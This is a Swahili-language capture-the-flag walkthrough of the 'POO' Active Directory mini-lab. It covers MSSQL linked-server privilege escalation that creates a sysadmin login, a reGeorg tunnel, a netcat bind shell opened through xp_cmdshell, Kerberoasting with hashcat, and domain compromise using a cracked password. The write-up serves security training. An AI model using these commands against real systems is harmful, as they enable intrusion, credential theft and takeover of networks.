Katika nakala hii, tutachambua kifungu cha sio mashine tu, lakini maabara nzima ya mini kutoka kwa wavuti.
Kama ilivyoelezwa katika maelezo, POO imeundwa kujaribu ujuzi katika hatua zote za mashambulizi katika mazingira madogo ya Saraka Inayotumika. Lengo ni kuathiri mwenyeji anayepatikana, kuongeza haki, na hatimaye kuathiri kikoa kizima kwa kukusanya bendera 5 katika mchakato.
Uunganisho wa maabara ni kupitia VPN. Inapendekezwa kutounganishwa kutoka kwa kompyuta inayofanya kazi au kutoka kwa mwenyeji ambapo kuna data muhimu kwako, unapoingia kwenye mtandao wa kibinafsi na watu wanaojua kitu kuhusu usalama wa habari 🙂
taarifa za shirika
Ili uweze kujua kuhusu makala mpya, programu na taarifa nyingine, niliunda
Taarifa zote hutolewa kwa madhumuni ya elimu tu. Mwandishi wa hati hii hachukui jukumu la uharibifu wowote unaosababishwa na mtu yeyote kutokana na kutumia ujuzi na mbinu zilizopatikana kutokana na kujifunza hati hii.
Intro
Mchezo huu wa mwisho una mashine mbili na una bendera 5.
Maelezo na anwani ya mwenyeji anayepatikana pia imetolewa.
Wacha tuanze!
Recon bendera
Mashine hii ina anwani ya IP ya 10.13.38.11 ambayo ninaongeza kwa /etc/hosts.
10.13.38.11 poo.htb
Hatua ya kwanza ni kukagua bandari zilizo wazi. Kwa kuwa inachukua muda mrefu kuchambua bandari zote na nmap, nitaifanya kwanza na masscan. Tunachanganua bandari zote za TCP na UDP kutoka kwa kiolesura cha tun0 katika 500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Sasa, ili kupata maelezo zaidi kuhusu huduma zinazoendeshwa kwenye bandari, hebu tuendeshe skanisho na chaguo la -A.
nmap -A poo.htb -p80,1433
Kwa hivyo, tuna huduma za IIS na MSSQL. Katika kesi hii, tutapata jina halisi la DNS la kikoa na kompyuta. Kwenye seva ya wavuti, tunasalimiwa na ukurasa wa nyumbani wa IIS.
Wacha turudie tena saraka. Ninatumia gobuster kwa hili. Katika vigezo, tunabainisha idadi ya mitiririko 128 (-t), URL (-u), kamusi (-w) na viendelezi vinavyotuvutia (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Kwa hivyo, tuna uthibitishaji wa HTTP kwa saraka ya / admin, pamoja na faili ya hifadhi ya huduma ya eneo-kazi ya .DS_Store inapatikana. .DS_Store ni faili zinazohifadhi mipangilio ya mtumiaji kwa folda, kama vile orodha ya faili, eneo la ikoni, picha ya mandharinyuma iliyochaguliwa. Faili kama hiyo inaweza kuishia kwenye saraka ya seva ya wavuti ya wasanidi wa wavuti. Kwa hivyo, tunapata habari kuhusu yaliyomo kwenye saraka. Kwa hili unaweza kutumia
python3 dsstore_crawler.py -i http://poo.htb/
Tunapata yaliyomo kwenye saraka. Jambo la kufurahisha zaidi hapa ni saraka ya /dev, ambayo tunaweza kuona vyanzo na faili za db katika matawi mawili. Lakini tunaweza kutumia herufi 6 za kwanza za majina ya faili na saraka ikiwa huduma inaweza kuathiriwa na IIS ShortName. Unaweza kuangalia uwezekano huu kwa kutumia
Na tunapata faili moja ya maandishi inayoanza na "poo_co". Bila kujua la kufanya baadaye, nilichagua tu kutoka kwa kamusi ya saraka maneno yote ambayo huanza na "co".
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Na rudia tena na wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Na kupata neno sahihi! Tunaangalia faili hii, tuhifadhi sifa (kwa kuzingatia parameter ya DBNAME, zinatoka MSSQL).
Tunakabidhi bendera, na tunasonga mbele kwa 20%.
Huu bendera
Tunaunganisha kwa MSSQL, mimi hutumia DBeaver.
Hatuoni chochote cha kuvutia katika hifadhidata hii, wacha tuunde Kihariri cha SQL na tuangalie watumiaji ni nini.
SELECT name FROM master..syslogins;
Tuna watumiaji wawili. Wacha tuangalie marupurupu yetu.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Kwa hivyo, hakuna marupurupu. Hebu tuone seva zilizounganishwa, niliandika kuhusu mbinu hii kwa undani
SELECT * FROM master..sysservers;
Kwa hivyo tunapata Seva nyingine ya SQL. Wacha tuangalie utekelezaji wa maagizo kwenye seva hii kwa kutumia openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Na tunaweza hata kujenga mti wa swala.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Ukweli ni kwamba tunapofanya ombi kwa seva iliyounganishwa, ombi linatekelezwa katika muktadha wa mtumiaji mwingine! Wacha tuone ni muktadha gani wa mtumiaji tunaendesha kwenye seva iliyounganishwa.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Na sasa hebu tuone ni katika muktadha gani ombi kutoka kwa seva iliyounganishwa hadi yetu inatekelezwa!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Kwa hivyo, ni muktadha wa DBO ambao lazima uwe na marupurupu yote. Wacha tuangalie marupurupu ikiwa kuna ombi kutoka kwa seva iliyounganishwa.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Kama unaweza kuona, tunayo mapendeleo yote! Hebu tuunde admin wetu hivi. Lakini hawawaruhusu kupitia uwazi, wacha tuifanye kupitia EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Na sasa tunaunganisha na kitambulisho cha mtumiaji mpya, angalia hifadhidata mpya ya bendera.
Tunakabidhi bendera hii na kwenda mbali zaidi.
Bendera ya nyuma
Wacha tupate ganda kwa kutumia MSSQL, ninatumia mssqlclient kutoka kwa kifurushi cha impacket.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Tunahitaji kupata nywila, na jambo la kwanza ambalo tayari tumekutana nalo ni tovuti. Kwa hivyo, tunahitaji usanidi wa seva ya wavuti (haiwezekani kutupa ganda linalofaa, inaonekana firewall inafanya kazi).
Lakini ufikiaji umekataliwa. Ingawa tunaweza kusoma faili kutoka kwa MSSQL, tunahitaji tu kujua ni lugha gani za programu zimesanidiwa. Na kwenye saraka ya MSSQL tunagundua kuwa kuna Python.
Kisha hakuna tatizo kusoma faili ya web.config.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Na vitambulisho vilivyopatikana, nenda kwa / admin na uchukue bendera.
bendera ya miguu
Kwa kweli, kuna baadhi ya usumbufu kutoka kwa kutumia firewall, lakini kuangalia kupitia mipangilio ya mtandao, tunaona kuwa itifaki ya IPv6 inatumika pia!
Ongeza anwani hii kwa /etc/hosts.
dead:babe::1001 poo6.htb
Hebu tuchanganue seva pangishi tena, lakini wakati huu kupitia IPv6.
Na huduma ya WinRM inapatikana kupitia IPv6. Hebu tuunganishe na sifa zilizopatikana.
Kuna bendera kwenye eneo-kazi, ikabidhi.
Bendera ya P00
Baada ya upelelezi juu ya mwenyeji na
setspn.exe -T intranet.poo -Q */*
Wacha tutekeleze amri kupitia MSSQL.
Kwa njia hii, tunapata SPN ya watumiaji p00_hr na p00_adm, ambayo inamaanisha kuwa wako katika hatari ya kushambuliwa kama vile Kerberoasting. Kwa kifupi, tunaweza kupata heshi za nywila zao.
Kwanza unahitaji kupata ganda thabiti kwa niaba ya mtumiaji wa MSSQL. Lakini kwa kuwa tuna ufikiaji mdogo, tuna muunganisho na mwenyeji kupitia bandari 80 na 1433 pekee. Lakini inawezekana kupunguza trafiki kupitia bandari 80! Kwa hili tunatumia
Lakini tunapojaribu kuipata, tunapata hitilafu 404. Hii ina maana kwamba faili * .aspx hazitekelezwi. Ili kufanya faili zilizo na viendelezi hivi ziendeshe, sakinisha ASP.NET 4.5 kama ifuatavyo.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Na sasa, tunapofikia tunnel.aspx, tunapata jibu kwamba kila kitu kiko tayari kwenda.
Wacha tuanze sehemu ya mteja ya programu, ambayo itasambaza trafiki. Tutasambaza trafiki yote kutoka bandari 5432 hadi kwa seva.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Na sisi hutumia minyororo ya wakala kutuma trafiki ya programu yoyote kupitia wakala wetu. Hebu tuongeze proksi hii kwenye faili ya usanidi ya /etc/proxychains.conf.
Sasa hebu tupakie programu kwenye seva
Sasa, kupitia MSSQL, tunazindua msikilizaji.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Na tunaunganisha kupitia wakala wetu.
proxychains rlwrap nc poo.htb 4321
Na wacha tupate heshi.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Ifuatayo, unahitaji kukariri juu ya heshi hizi. Kwa kuwa rockyou hakuwa na kamusi ya data ya nenosiri, nilitumia kamusi ZOTE za manenosiri zilizotolewa katika Seclists. Kwa kuhesabu tunatumia hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Na tunapata nywila zote mbili, ya kwanza katika kamusi ya dutch_passwordlist.txt, na ya pili katika Kinanda-Combinations.txt.
Na kwa hivyo tuna watumiaji watatu, tunaenda kwa mtawala wa kikoa. Hebu tujue anwani yake kwanza.
Sawa, tumejifunza anwani ya IP ya kidhibiti cha kikoa. Wacha tujue watumiaji wote wa kikoa, na pia ni nani kati yao ni msimamizi. Ili kupakua hati ili kupata maelezo PowerView.ps1. Kisha tutaunganisha kwa kutumia uovu-winrm, tukibainisha saraka na script katika parameter -s. Na kisha pakia hati ya PowerView.
Sasa tuna ufikiaji wa kazi zake zote. Mtumiaji wa p00_adm anaonekana kama mtumiaji aliyebahatika, kwa hivyo tutafanya kazi katika muktadha wake. Hebu tuunde kitu cha PSCredential kwa mtumiaji huyu.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Sasa amri zote za Powershell ambapo tunabainisha Creds zitatekelezwa kwa niaba ya p00_adm. Hebu tuonyeshe orodha ya watumiaji na sifa ya AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Na hivyo, mtumiaji wetu ni kweli upendeleo. Wacha tuone yeye ni wa vikundi gani.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Hatimaye tunathibitisha kwamba mtumiaji ni msimamizi wa kikoa. Hii inaipa haki ya kuingia kwa kidhibiti cha kikoa kwa mbali. Wacha tujaribu kuingia na WinRM kwa kutumia handaki yetu. Nilichanganyikiwa na makosa yaliyotolewa na reGeorg wakati wa kutumia evil-winrm.
Kisha tunatumia nyingine, rahisi zaidi,
Tunajaribu kuunganisha, na tuko kwenye mfumo.
Lakini hakuna bendera. Kisha angalia mtumiaji na uangalie dawati.
Kwa mr3ks tunapata bendera na maabara imekamilika 100%.
Ni hayo tu. Kama maoni, toa maoni yako iwapo umejifunza jambo jipya kutoka kwa makala haya na kama yalikufaa.
Unaweza kujiunga nasi kwa
Chanzo: mapenzi.com